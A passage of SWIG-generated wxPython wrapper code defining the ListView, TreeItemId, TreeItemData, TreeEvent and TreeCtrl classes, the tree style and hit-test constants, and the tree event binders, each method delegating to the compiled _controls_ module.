return _controls_.ListCtrl_SortItems(*args, **kwargs)
def GetMainWindow(*args, **kwargs):
"""GetMainWindow(self) -> Window"""
return _controls_.ListCtrl_GetMainWindow(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ListCtrl_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
ColumnCount = property(GetColumnCount,doc="See `GetColumnCount`")
CountPerPage = property(GetCountPerPage,doc="See `GetCountPerPage`")
EditControl = property(GetEditControl,doc="See `GetEditControl`")
FocusedItem = property(GetFocusedItem,doc="See `GetFocusedItem`")
ItemCount = property(GetItemCount,SetItemCount,doc="See `GetItemCount` and `SetItemCount`")
MainWindow = property(GetMainWindow,doc="See `GetMainWindow`")
SelectedItemCount = property(GetSelectedItemCount,doc="See `GetSelectedItemCount`")
TextColour = property(GetTextColour,SetTextColour,doc="See `GetTextColour` and `SetTextColour`")
TopItem = property(GetTopItem,doc="See `GetTopItem`")
ViewRect = property(GetViewRect,doc="See `GetViewRect`")
_controls_.ListCtrl_swigregister(ListCtrl)
def PreListCtrl(*args, **kwargs):
"""PreListCtrl() -> ListCtrl"""
val = _controls_.new_PreListCtrl(*args, **kwargs)
return val
def ListCtrl_GetClassDefaultAttributes(*args, **kwargs):
"""
ListCtrl_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ListCtrl_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
class ListView(ListCtrl):
"""Proxy of C++ ListView class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=LC_REPORT,
Validator validator=DefaultValidator, String name=ListCtrlNameStr) -> ListView
"""
_controls_.ListView_swiginit(self,_controls_.new_ListView(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=LC_REPORT,
Validator validator=DefaultValidator, String name=ListCtrlNameStr) -> bool
Do the 2nd phase and create the GUI control.
"""
return _controls_.ListView_Create(*args, **kwargs)
def Select(*args, **kwargs):
"""Select(self, long n, bool on=True)"""
return _controls_.ListView_Select(*args, **kwargs)
def Focus(*args, **kwargs):
"""Focus(self, long index)"""
return _controls_.ListView_Focus(*args, **kwargs)
def GetFocusedItem(*args, **kwargs):
"""GetFocusedItem(self) -> long"""
return _controls_.ListView_GetFocusedItem(*args, **kwargs)
def GetNextSelected(*args, **kwargs):
"""GetNextSelected(self, long item) -> long"""
return _controls_.ListView_GetNextSelected(*args, **kwargs)
def GetFirstSelected(*args, **kwargs):
"""GetFirstSelected(self) -> long"""
return _controls_.ListView_GetFirstSelected(*args, **kwargs)
def IsSelected(*args, **kwargs):
"""IsSelected(self, long index) -> bool"""
return _controls_.ListView_IsSelected(*args, **kwargs)
def SetColumnImage(*args, **kwargs):
"""SetColumnImage(self, int col, int image)"""
return _controls_.ListView_SetColumnImage(*args, **kwargs)
def ClearColumnImage(*args, **kwargs):
"""ClearColumnImage(self, int col)"""
return _controls_.ListView_ClearColumnImage(*args, **kwargs)
FocusedItem = property(GetFocusedItem,doc="See `GetFocusedItem`")
_controls_.ListView_swigregister(ListView)
def PreListView(*args, **kwargs):
"""PreListView() -> ListView"""
val = _controls_.new_PreListView(*args, **kwargs)
return val
#---------------------------------------------------------------------------
TR_NO_BUTTONS = _controls_.TR_NO_BUTTONS
TR_HAS_BUTTONS = _controls_.TR_HAS_BUTTONS
TR_NO_LINES = _controls_.TR_NO_LINES
TR_LINES_AT_ROOT = _controls_.TR_LINES_AT_ROOT
TR_SINGLE = _controls_.TR_SINGLE
TR_MULTIPLE = _controls_.TR_MULTIPLE
TR_EXTENDED = _controls_.TR_EXTENDED
TR_HAS_VARIABLE_ROW_HEIGHT = _controls_.TR_HAS_VARIABLE_ROW_HEIGHT
TR_EDIT_LABELS = _controls_.TR_EDIT_LABELS
TR_HIDE_ROOT = _controls_.TR_HIDE_ROOT
TR_ROW_LINES = _controls_.TR_ROW_LINES
TR_FULL_ROW_HIGHLIGHT = _controls_.TR_FULL_ROW_HIGHLIGHT
TR_DEFAULT_STYLE = _controls_.TR_DEFAULT_STYLE
TR_TWIST_BUTTONS = _controls_.TR_TWIST_BUTTONS
# obsolete
TR_MAC_BUTTONS = 0
wxTR_AQUA_BUTTONS = 0
TreeItemIcon_Normal = _controls_.TreeItemIcon_Normal
TreeItemIcon_Selected = _controls_.TreeItemIcon_Selected
TreeItemIcon_Expanded = _controls_.TreeItemIcon_Expanded
TreeItemIcon_SelectedExpanded = _controls_.TreeItemIcon_SelectedExpanded
TreeItemIcon_Max = _controls_.TreeItemIcon_Max
TREE_HITTEST_ABOVE = _controls_.TREE_HITTEST_ABOVE
TREE_HITTEST_BELOW = _controls_.TREE_HITTEST_BELOW
TREE_HITTEST_NOWHERE = _controls_.TREE_HITTEST_NOWHERE
TREE_HITTEST_ONITEMBUTTON = _controls_.TREE_HITTEST_ONITEMBUTTON
TREE_HITTEST_ONITEMICON = _controls_.TREE_HITTEST_ONITEMICON
TREE_HITTEST_ONITEMINDENT = _controls_.TREE_HITTEST_ONITEMINDENT
TREE_HITTEST_ONITEMLABEL = _controls_.TREE_HITTEST_ONITEMLABEL
TREE_HITTEST_ONITEMRIGHT = _controls_.TREE_HITTEST_ONITEMRIGHT
TREE_HITTEST_ONITEMSTATEICON = _controls_.TREE_HITTEST_ONITEMSTATEICON
TREE_HITTEST_TOLEFT = _controls_.TREE_HITTEST_TOLEFT
TREE_HITTEST_TORIGHT = _controls_.TREE_HITTEST_TORIGHT
TREE_HITTEST_ONITEMUPPERPART = _controls_.TREE_HITTEST_ONITEMUPPERPART
TREE_HITTEST_ONITEMLOWERPART = _controls_.TREE_HITTEST_ONITEMLOWERPART
TREE_HITTEST_ONITEM = _controls_.TREE_HITTEST_ONITEM
#---------------------------------------------------------------------------
class TreeItemId(object):
"""Proxy of C++ TreeItemId class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self) -> TreeItemId"""
_controls_.TreeItemId_swiginit(self,_controls_.new_TreeItemId(*args, **kwargs))
__swig_destroy__ = _controls_.delete_TreeItemId
__del__ = lambda self : None;
def IsOk(*args, **kwargs):
"""IsOk(self) -> bool"""
return _controls_.TreeItemId_IsOk(*args, **kwargs)
def __eq__(*args, **kwargs):
"""__eq__(self, TreeItemId other) -> bool"""
return _controls_.TreeItemId___eq__(*args, **kwargs)
def __ne__(*args, **kwargs):
"""__ne__(self, TreeItemId other) -> bool"""
return _controls_.TreeItemId___ne__(*args, **kwargs)
m_pItem = property(_controls_.TreeItemId_m_pItem_get, _controls_.TreeItemId_m_pItem_set)
Ok = IsOk
def __nonzero__(self): return self.IsOk()
_controls_.TreeItemId_swigregister(TreeItemId)
TreeCtrlNameStr = cvar.TreeCtrlNameStr
class TreeItemData(object):
"""Proxy of C++ TreeItemData class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self, PyObject obj=None) -> TreeItemData"""
_controls_.TreeItemData_swiginit(self,_controls_.new_TreeItemData(*args, **kwargs))
__swig_destroy__ = _controls_.delete_TreeItemData
__del__ = lambda self : None;
def GetData(*args, **kwargs):
"""GetData(self) -> PyObject"""
return _controls_.TreeItemData_GetData(*args, **kwargs)
def SetData(*args, **kwargs):
"""SetData(self, PyObject obj)"""
return _controls_.TreeItemData_SetData(*args, **kwargs)
def GetId(*args, **kwargs):
"""GetId(self) -> TreeItemId"""
return _controls_.TreeItemData_GetId(*args, **kwargs)
def SetId(*args, **kwargs):
"""SetId(self, TreeItemId id)"""
return _controls_.TreeItemData_SetId(*args, **kwargs)
def Destroy(*args, **kwargs):
"""Destroy(self)"""
args[0].this.own(False)
return _controls_.TreeItemData_Destroy(*args, **kwargs)
Data = property(GetData,SetData,doc="See `GetData` and `SetData`")
Id = property(GetId,SetId,doc="See `GetId` and `SetId`")
_controls_.TreeItemData_swigregister(TreeItemData)
#---------------------------------------------------------------------------
wxEVT_COMMAND_TREE_BEGIN_DRAG = _controls_.wxEVT_COMMAND_TREE_BEGIN_DRAG
wxEVT_COMMAND_TREE_BEGIN_RDRAG = _controls_.wxEVT_COMMAND_TREE_BEGIN_RDRAG
wxEVT_COMMAND_TREE_BEGIN_LABEL_EDIT = _controls_.wxEVT_COMMAND_TREE_BEGIN_LABEL_EDIT
wxEVT_COMMAND_TREE_END_LABEL_EDIT = _controls_.wxEVT_COMMAND_TREE_END_LABEL_EDIT
wxEVT_COMMAND_TREE_DELETE_ITEM = _controls_.wxEVT_COMMAND_TREE_DELETE_ITEM
wxEVT_COMMAND_TREE_GET_INFO = _controls_.wxEVT_COMMAND_TREE_GET_INFO
wxEVT_COMMAND_TREE_SET_INFO = _controls_.wxEVT_COMMAND_TREE_SET_INFO
wxEVT_COMMAND_TREE_ITEM_EXPANDED = _controls_.wxEVT_COMMAND_TREE_ITEM_EXPANDED
wxEVT_COMMAND_TREE_ITEM_EXPANDING = _controls_.wxEVT_COMMAND_TREE_ITEM_EXPANDING
wxEVT_COMMAND_TREE_ITEM_COLLAPSED = _controls_.wxEVT_COMMAND_TREE_ITEM_COLLAPSED
wxEVT_COMMAND_TREE_ITEM_COLLAPSING = _controls_.wxEVT_COMMAND_TREE_ITEM_COLLAPSING
wxEVT_COMMAND_TREE_SEL_CHANGED = _controls_.wxEVT_COMMAND_TREE_SEL_CHANGED
wxEVT_COMMAND_TREE_SEL_CHANGING = _controls_.wxEVT_COMMAND_TREE_SEL_CHANGING
wxEVT_COMMAND_TREE_KEY_DOWN = _controls_.wxEVT_COMMAND_TREE_KEY_DOWN
wxEVT_COMMAND_TREE_ITEM_ACTIVATED = _controls_.wxEVT_COMMAND_TREE_ITEM_ACTIVATED
wxEVT_COMMAND_TREE_ITEM_RIGHT_CLICK = _controls_.wxEVT_COMMAND_TREE_ITEM_RIGHT_CLICK
wxEVT_COMMAND_TREE_ITEM_MIDDLE_CLICK = _controls_.wxEVT_COMMAND_TREE_ITEM_MIDDLE_CLICK
wxEVT_COMMAND_TREE_END_DRAG = _controls_.wxEVT_COMMAND_TREE_END_DRAG
wxEVT_COMMAND_TREE_STATE_IMAGE_CLICK = _controls_.wxEVT_COMMAND_TREE_STATE_IMAGE_CLICK
wxEVT_COMMAND_TREE_ITEM_GETTOOLTIP = _controls_.wxEVT_COMMAND_TREE_ITEM_GETTOOLTIP
wxEVT_COMMAND_TREE_ITEM_MENU = _controls_.wxEVT_COMMAND_TREE_ITEM_MENU
EVT_TREE_BEGIN_DRAG = wx.PyEventBinder(wxEVT_COMMAND_TREE_BEGIN_DRAG , 1)
EVT_TREE_BEGIN_RDRAG = wx.PyEventBinder(wxEVT_COMMAND_TREE_BEGIN_RDRAG , 1)
EVT_TREE_BEGIN_LABEL_EDIT = wx.PyEventBinder(wxEVT_COMMAND_TREE_BEGIN_LABEL_EDIT , 1)
EVT_TREE_END_LABEL_EDIT = wx.PyEventBinder(wxEVT_COMMAND_TREE_END_LABEL_EDIT , 1)
EVT_TREE_DELETE_ITEM = wx.PyEventBinder(wxEVT_COMMAND_TREE_DELETE_ITEM , 1)
EVT_TREE_GET_INFO = wx.PyEventBinder(wxEVT_COMMAND_TREE_GET_INFO , 1)
EVT_TREE_SET_INFO = wx.PyEventBinder(wxEVT_COMMAND_TREE_SET_INFO , 1)
EVT_TREE_ITEM_EXPANDED = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_EXPANDED , 1)
EVT_TREE_ITEM_EXPANDING = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_EXPANDING , 1)
EVT_TREE_ITEM_COLLAPSED = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_COLLAPSED , 1)
EVT_TREE_ITEM_COLLAPSING = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_COLLAPSING , 1)
EVT_TREE_SEL_CHANGED = wx.PyEventBinder(wxEVT_COMMAND_TREE_SEL_CHANGED , 1)
EVT_TREE_SEL_CHANGING = wx.PyEventBinder(wxEVT_COMMAND_TREE_SEL_CHANGING , 1)
EVT_TREE_KEY_DOWN = wx.PyEventBinder(wxEVT_COMMAND_TREE_KEY_DOWN , 1)
EVT_TREE_ITEM_ACTIVATED = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_ACTIVATED , 1)
EVT_TREE_ITEM_RIGHT_CLICK = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_RIGHT_CLICK , 1)
EVT_TREE_ITEM_MIDDLE_CLICK = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_MIDDLE_CLICK, 1)
EVT_TREE_END_DRAG = wx.PyEventBinder(wxEVT_COMMAND_TREE_END_DRAG , 1)
EVT_TREE_STATE_IMAGE_CLICK = wx.PyEventBinder(wxEVT_COMMAND_TREE_STATE_IMAGE_CLICK, 1)
EVT_TREE_ITEM_GETTOOLTIP = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_GETTOOLTIP, 1)
EVT_TREE_ITEM_MENU = wx.PyEventBinder(wxEVT_COMMAND_TREE_ITEM_MENU, 1)
class TreeEvent(_core.NotifyEvent):
"""Proxy of C++ TreeEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args):
"""
__init__(self, EventType commandType=wxEVT_NULL, int id=0) -> TreeEvent
__init__(self, EventType commandType, TreeCtrl tree, TreeItemId item=NullTreeItemId) -> TreeEvent
"""
_controls_.TreeEvent_swiginit(self,_controls_.new_TreeEvent(*args))
def GetItem(*args, **kwargs):
"""GetItem(self) -> TreeItemId"""
return _controls_.TreeEvent_GetItem(*args, **kwargs)
def SetItem(*args, **kwargs):
"""SetItem(self, TreeItemId item)"""
return _controls_.TreeEvent_SetItem(*args, **kwargs)
def GetOldItem(*args, **kwargs):
"""GetOldItem(self) -> TreeItemId"""
return _controls_.TreeEvent_GetOldItem(*args, **kwargs)
def SetOldItem(*args, **kwargs):
"""SetOldItem(self, TreeItemId item)"""
return _controls_.TreeEvent_SetOldItem(*args, **kwargs)
def GetPoint(*args, **kwargs):
"""GetPoint(self) -> Point"""
return _controls_.TreeEvent_GetPoint(*args, **kwargs)
def SetPoint(*args, **kwargs):
"""SetPoint(self, Point pt)"""
return _controls_.TreeEvent_SetPoint(*args, **kwargs)
def GetKeyEvent(*args, **kwargs):
"""GetKeyEvent(self) -> KeyEvent"""
return _controls_.TreeEvent_GetKeyEvent(*args, **kwargs)
def GetKeyCode(*args, **kwargs):
"""GetKeyCode(self) -> int"""
return _controls_.TreeEvent_GetKeyCode(*args, **kwargs)
def SetKeyEvent(*args, **kwargs):
"""SetKeyEvent(self, KeyEvent evt)"""
return _controls_.TreeEvent_SetKeyEvent(*args, **kwargs)
def GetLabel(*args, **kwargs):
"""GetLabel(self) -> String"""
return _controls_.TreeEvent_GetLabel(*args, **kwargs)
def SetLabel(*args, **kwargs):
"""SetLabel(self, String label)"""
return _controls_.TreeEvent_SetLabel(*args, **kwargs)
def IsEditCancelled(*args, **kwargs):
"""IsEditCancelled(self) -> bool"""
return _controls_.TreeEvent_IsEditCancelled(*args, **kwargs)
def SetEditCanceled(*args, **kwargs):
"""SetEditCanceled(self, bool editCancelled)"""
return _controls_.TreeEvent_SetEditCanceled(*args, **kwargs)
def SetToolTip(*args, **kwargs):
"""SetToolTip(self, String toolTip)"""
return _controls_.TreeEvent_SetToolTip(*args, **kwargs)
def GetToolTip(*args, **kwargs):
"""GetToolTip(self) -> String"""
return _controls_.TreeEvent_GetToolTip(*args, **kwargs)
Item = property(GetItem,SetItem,doc="See `GetItem` and `SetItem`")
KeyCode = property(GetKeyCode,doc="See `GetKeyCode`")
KeyEvent = property(GetKeyEvent,SetKeyEvent,doc="See `GetKeyEvent` and `SetKeyEvent`")
Label = property(GetLabel,SetLabel,doc="See `GetLabel` and `SetLabel`")
OldItem = property(GetOldItem,SetOldItem,doc="See `GetOldItem` and `SetOldItem`")
Point = property(GetPoint,SetPoint,doc="See `GetPoint` and `SetPoint`")
ToolTip = property(GetToolTip,SetToolTip,doc="See `GetToolTip` and `SetToolTip`")
EditCancelled = property(IsEditCancelled,SetEditCanceled,doc="See `IsEditCancelled` and `SetEditCanceled`")
_controls_.TreeEvent_swigregister(TreeEvent)
#---------------------------------------------------------------------------
class TreeCtrl(_core.Control):
"""Proxy of C++ TreeCtrl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=TR_DEFAULT_STYLE,
Validator validator=DefaultValidator,
String name=TreeCtrlNameStr) -> TreeCtrl
"""
_controls_.TreeCtrl_swiginit(self,_controls_.new_TreeCtrl(*args, **kwargs))
self._setOORInfo(self);TreeCtrl._setCallbackInfo(self, self, TreeCtrl)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=TR_DEFAULT_STYLE,
Validator validator=DefaultValidator,
String name=TreeCtrlNameStr) -> bool
Do the 2nd phase and create the GUI control.
"""
return _controls_.TreeCtrl_Create(*args, **kwargs)
def _setCallbackInfo(*args, **kwargs):
"""_setCallbackInfo(self, PyObject self, PyObject _class)"""
return _controls_.TreeCtrl__setCallbackInfo(*args, **kwargs)
def GetCount(*args, **kwargs):
"""GetCount(self) -> unsigned int"""
return _controls_.TreeCtrl_GetCount(*args, **kwargs)
def GetIndent(*args, **kwargs):
"""GetIndent(self) -> unsigned int"""
return _controls_.TreeCtrl_GetIndent(*args, **kwargs)
def SetIndent(*args, **kwargs):
"""SetIndent(self, unsigned int indent)"""
return _controls_.TreeCtrl_SetIndent(*args, **kwargs)
def GetSpacing(*args, **kwargs):
"""GetSpacing(self) -> unsigned int"""
return _controls_.TreeCtrl_GetSpacing(*args, **kwargs)
def SetSpacing(*args, **kwargs):
"""SetSpacing(self, unsigned int spacing)"""
return _controls_.TreeCtrl_SetSpacing(*args, **kwargs)
def GetImageList(*args, **kwargs):
"""GetImageList(self) -> ImageList"""
return _controls_.TreeCtrl_GetImageList(*args, **kwargs)
def GetStateImageList(*args, **kwargs):
"""GetStateImageList(self) -> ImageList"""
return _controls_.TreeCtrl_GetStateImageList(*args, **kwargs)
def SetImageList(*args, **kwargs):
"""SetImageList(self, ImageList imageList)"""
return _controls_.TreeCtrl_SetImageList(*args, **kwargs)
def SetStateImageList(*args, **kwargs):
"""SetStateImageList(self, ImageList imageList)"""
return _controls_.TreeCtrl_SetStateImageList(*args, **kwargs)
def AssignImageList(*args, **kwargs):
"""AssignImageList(self, ImageList imageList)"""
return _controls_.TreeCtrl_AssignImageList(*args, **kwargs)
def AssignStateImageList(*args, **kwargs):
"""AssignStateImageList(self, ImageList imageList)"""
return _controls_.TreeCtrl_AssignStateImageList(*args, **kwargs)
def GetItemText(*args, **kwargs):
"""GetItemText(self, TreeItemId item) -> String"""
return _controls_.TreeCtrl_GetItemText(*args, **kwargs)
def GetItemImage(*args, **kwargs):
"""GetItemImage(self, TreeItemId item, int which=TreeItemIcon_Normal) -> int"""
return _controls_.TreeCtrl_GetItemImage(*args, **kwargs)
def GetItemData(*args, **kwargs):
"""GetItemData(self, TreeItemId item) -> TreeItemData"""
return _controls_.TreeCtrl_GetItemData(*args, **kwargs)
def GetItemPyData(*args, **kwargs):
"""GetItemPyData(self, TreeItemId item) -> PyObject"""
return _controls_.TreeCtrl_GetItemPyData(*args, **kwargs)
GetPyData = GetItemPyData
def GetItemTextColour(*args, **kwargs):
"""GetItemTextColour(self, TreeItemId item) -> Colour"""
return _controls_.TreeCtrl_GetItemTextColour(*args, **kwargs)
def GetItemBackgroundColour(*args, **kwargs):
"""GetItemBackgroundColour(self, TreeItemId item) -> Colour"""
return _controls_.TreeCtrl_GetItemBackgroundColour(*args, **kwargs)
def GetItemFont(*args, **kwargs):
"""GetItemFont(self, TreeItemId item) -> Font"""
return _controls_.TreeCtrl_GetItemFont(*args, **kwargs)
def SetItemText(*args, **kwargs):
"""SetItemText(self, TreeItemId item, String text)"""
return _controls_.TreeCtrl_SetItemText(*args, **kwargs)
def SetItemImage(*args, **kwargs):
"""SetItemImage(self, TreeItemId item, int image, int which=TreeItemIcon_Normal)"""
return _controls_.TreeCtrl_SetItemImage(*args, **kwargs)
def SetItemData(*args, **kwargs):
"""SetItemData(self, TreeItemId item, TreeItemData data)"""
return _controls_.TreeCtrl_SetItemData(*args, **kwargs)
def SetItemPyData(*args, **kwargs):
"""SetItemPyData(self, TreeItemId item, PyObject obj)"""
return _controls_.TreeCtrl_SetItemPyData(*args, **kwargs)
SetPyData = SetItemPyData
def SetItemHasChildren(*args, **kwargs):
"""SetItemHasChildren(self, TreeItemId item, bool has=True)"""
return _controls_.TreeCtrl_SetItemHasChildren(*args, **kwargs)
def SetItemBold(*args, **kwargs):
"""SetItemBold(self, TreeItemId item, bool bold=True)"""
return _controls_.TreeCtrl_SetItemBold(*args, **kwargs)
def SetItemDropHighlight(*args, **kwargs):
"""SetItemDropHighlight(self, TreeItemId item, bool highlight=True)"""
return _controls_.TreeCtrl_SetItemDropHighlight(*args, **kwargs)
def SetItemTextColour(*args, **kwargs):
"""SetItemTextColour(self, TreeItemId item, Colour col)"""
return _controls_.TreeCtrl_SetItemTextColour(*args, **kwargs)
def SetItemBackgroundColour(*args, **kwargs):
"""SetItemBackgroundColour(self, TreeItemId item, Colour col)"""
return _controls_.TreeCtrl_SetItemBackgroundColour(*args, **kwargs)
def SetItemFont(*args, **kwargs):
"""SetItemFont(self, TreeItemId item, Font font)"""
return _controls_.TreeCtrl_SetItemFont(*args, **kwargs)
def IsVisible(*args, **kwargs):
"""IsVisible(self, TreeItemId item) -> bool"""
return _controls_.TreeCtrl_IsVisible(*args, **kwargs)
def ItemHasChildren(*args, **kwargs):
"""ItemHasChildren(self, TreeItemId item) -> bool"""
return _controls_.TreeCtrl_ItemHasChildren(*args, **kwargs)
def IsExpanded(*args, **kwargs):
"""IsExpanded(self, TreeItemId item) -> bool"""
return _controls_.TreeCtrl_IsExpanded(*args, **kwargs)
def IsSelected(*args, **kwargs):
"""IsSelected(self, TreeItemId item) -> bool"""
return _controls_.TreeCtrl_IsSelected(*args, **kwargs)
def IsBold(*args, **kwargs):
"""IsBold(self, TreeItemId item) -> bool"""
return _controls_.TreeCtrl_IsBold(*args, **kwargs)
def IsEmpty(*args, **kwargs):
"""IsEmpty(self) -> bool"""
return _controls_.TreeCtrl_IsEmpty(*args, **kwargs)
def GetChildrenCount(*args, **kwargs):
"""GetChildrenCount(self, TreeItemId item, bool recursively=True) -> size_t"""
return _controls_.TreeCtrl_GetChildrenCount(*args, **kwargs)
def GetRootItem(*args, **kwargs):
"""GetRootItem(self) -> TreeItemId"""
return _controls_.TreeCtrl_GetRootItem(*args, **kwargs)
def GetSelection(*args, **kwargs):
"""GetSelection(self) -> TreeItemId"""
return _controls_.TreeCtrl_GetSelection(*args, **kwargs)
def GetSelections(*args, **kwargs):
"""GetSelections(self) -> PyObject"""
return _controls_.TreeCtrl_GetSelections(*args, **kwargs)
def GetItemParent(*args, **kwargs):
"""GetItemParent(self, TreeItemId item) -> TreeItemId"""
return _controls_.TreeCtrl_GetItemParent(*args, **kwargs)
def GetFirstChild(*args, **kwargs):
"""GetFirstChild(self, TreeItemId item) -> PyObject"""
return _controls_.TreeCtrl_GetFirstChild(*args, **kwargs)
def GetNextChild(*args, **kwargs):
"""GetNextChild(self, TreeItemId item, void cookie) -> PyObject"""
return _controls_.TreeCtrl_GetNextChild(*args, **kwargs)
def GetLastChild(*args, **kwargs):
"""GetLastChild(self, TreeItemId item) -> TreeItemId"""
return _controls_.TreeCtrl_GetLastChild(*args, **kwargs)
def GetNextSibling(*args, **kwargs):
"""GetNextSibling(self, TreeItemId item) -> TreeItemId"""
return _controls_.TreeCtrl_GetNextSibling(*args, **kwargs)
def GetPrevSibling(*args, **kwargs):
"""GetPrevSibling(self, TreeItemId item) -> TreeItemId"""
return _controls_.TreeCtrl_GetPrevSibling(*args, **kwargs)
def GetFirstVisibleItem(*args, **kwargs):
"""GetFirstVisibleItem(self) -> TreeItemId"""
return _controls_.TreeCtrl_GetFirstVisibleItem(*args, **kwargs)
def GetNextVisible(*args, **kwargs):
"""GetNextVisible(self, TreeItemId item) -> TreeItemId"""
return _controls_.TreeCtrl_GetNextVisible(*args, **kwargs)
def GetPrevVisible(*args, **kwargs):
"""GetPrevVisible(self, TreeItemId item) -> TreeItemId"""
return _controls_.TreeCtrl_GetPrevVisible(*args, **kwargs)
def AddRoot(*args, **kwargs):
"""AddRoot(self, String text, int image=-1, int selectedImage=-1, TreeItemData data=None) -> TreeItemId"""
return _controls_.TreeCtrl_AddRoot(*args, **kwargs)
def PrependItem(*args, **kwargs):
"""
PrependItem(self, TreeItemId parent, String text, int image=-1, int selectedImage=-1,
TreeItemData data=None) -> TreeItemId
"""
return _controls_.TreeCtrl_PrependItem(*args, **kwargs)
def InsertItem(*args, **kwargs):
"""
InsertItem(self, TreeItemId parent, TreeItemId idPrevious, String text,
int image=-1, int selectedImage=-1, TreeItemData data=None) -> TreeItemId
"""
return _controls_.TreeCtrl_InsertItem(*args, **kwargs)
def InsertItemBefore(*args, **kwargs):
"""
InsertItemBefore(self, TreeItemId parent, size_t index, String text, int image=-1,
int selectedImage=-1, TreeItemData data=None) -> TreeItemId
"""
return _controls_.TreeCtrl_InsertItemBefore(*args, **kwargs)
def AppendItem(*args, **kwargs):
"""
AppendItem(self, TreeItemId parent, String text, int image=-1, int selectedImage=-1,
TreeItemData data=None) -> TreeItemId
"""
return _controls_.TreeCtrl_AppendItem(*args, **kwargs)
def Delete(*args, **kwargs):
"""Delete(self, TreeItemId item)"""
return _controls_.TreeCtrl_Delete(*args, **kwargs)
def DeleteChildren(*args, **kwargs):
"""DeleteChildren(self, TreeItemId item)"""
return _controls_.TreeCtrl_DeleteChildren(*args, **kwargs)
def DeleteAllItems(*args, **kwargs):
"""DeleteAllItems(self)"""
return _controls_.TreeCtrl_DeleteAllItems(*args, **kwargs)
def Expand(*args, **kwargs):
"""Expand(self, TreeItemId item)"""
return _controls_.TreeCtrl_Expand(*args, **kwargs)
def ExpandAllChildren(*args, **kwargs):
"""ExpandAllChildren(self, TreeItemId item)"""
return _controls_.TreeCtrl_ExpandAllChildren(*args, **kwargs)
def ExpandAll(*args, **kwargs):
"""ExpandAll(self)"""
return _controls_.TreeCtrl_ExpandAll(*args, **kwargs)
def Collapse(*args, **kwargs):
"""Collapse(self, TreeItemId item)"""
return _controls_.TreeCtrl_Collapse(*args, **kwargs)
def CollapseAllChildren(*args, **kwargs):
"""CollapseAllChildren(self, TreeItemId item)"""
return _controls_.TreeCtrl_CollapseAllChildren(*args, **kwargs)
def CollapseAll(*args, **kwargs):
"""CollapseAll(self)"""
return _controls_.TreeCtrl_CollapseAll(*args, **kwargs)
def CollapseAndReset(*args, **kwargs):
"""CollapseAndReset(self, TreeItemId item)"""
return _controls_.TreeCtrl_CollapseAndReset(*args, **kwargs)
def Toggle(*args, **kwargs):
"""Toggle(self, TreeItemId item)"""
return _controls_.TreeCtrl_Toggle(*args, **kwargs)
def Unselect(*args, **kwargs):
"""Unselect(self)"""
return _controls_.TreeCtrl_Unselect(*args, **kwargs)
def UnselectItem(*args, **kwargs):
"""UnselectItem(self, TreeItemId item)"""
return _controls_.TreeCtrl_UnselectItem(*args, **kwargs)
def UnselectAll(*args, **kwargs):
"""UnselectAll(self)"""
return _controls_.TreeCtrl_UnselectAll(*args, **kwargs)
def SelectItem(*args, **kwargs):
"""SelectItem(self, TreeItemId item, bool select=True)"""
return _controls_.TreeCtrl_SelectItem(*args, **kwargs)
def ToggleItemSelection(*args, **kwargs):
"""ToggleItemSelection(self, TreeItemId item)"""
return _controls_.TreeCtrl_ToggleItemSelection(*args, **kwargs)
def EnsureVisible(*args, **kwargs):
"""EnsureVisible(self, TreeItemId item)"""
return _controls_.TreeCtrl_EnsureVisible(*args, **kwargs)
def ScrollTo(*args, **kwargs):
"""ScrollTo(self, TreeItemId item)"""
return _controls_.TreeCtrl_ScrollTo(*args, **kwargs)
def EditLabel(*args, **kwargs):
"""EditLabel(self, TreeItemId item)"""
return _controls_.TreeCtrl_EditLabel(*args, **kwargs)
def GetEditControl(*args, **kwargs):
"""GetEditControl(self) -> TextCtrl"""
return _controls_.TreeCtrl_GetEditControl(*args, **kwargs)
def EndEditLabel(*args, **kwargs):
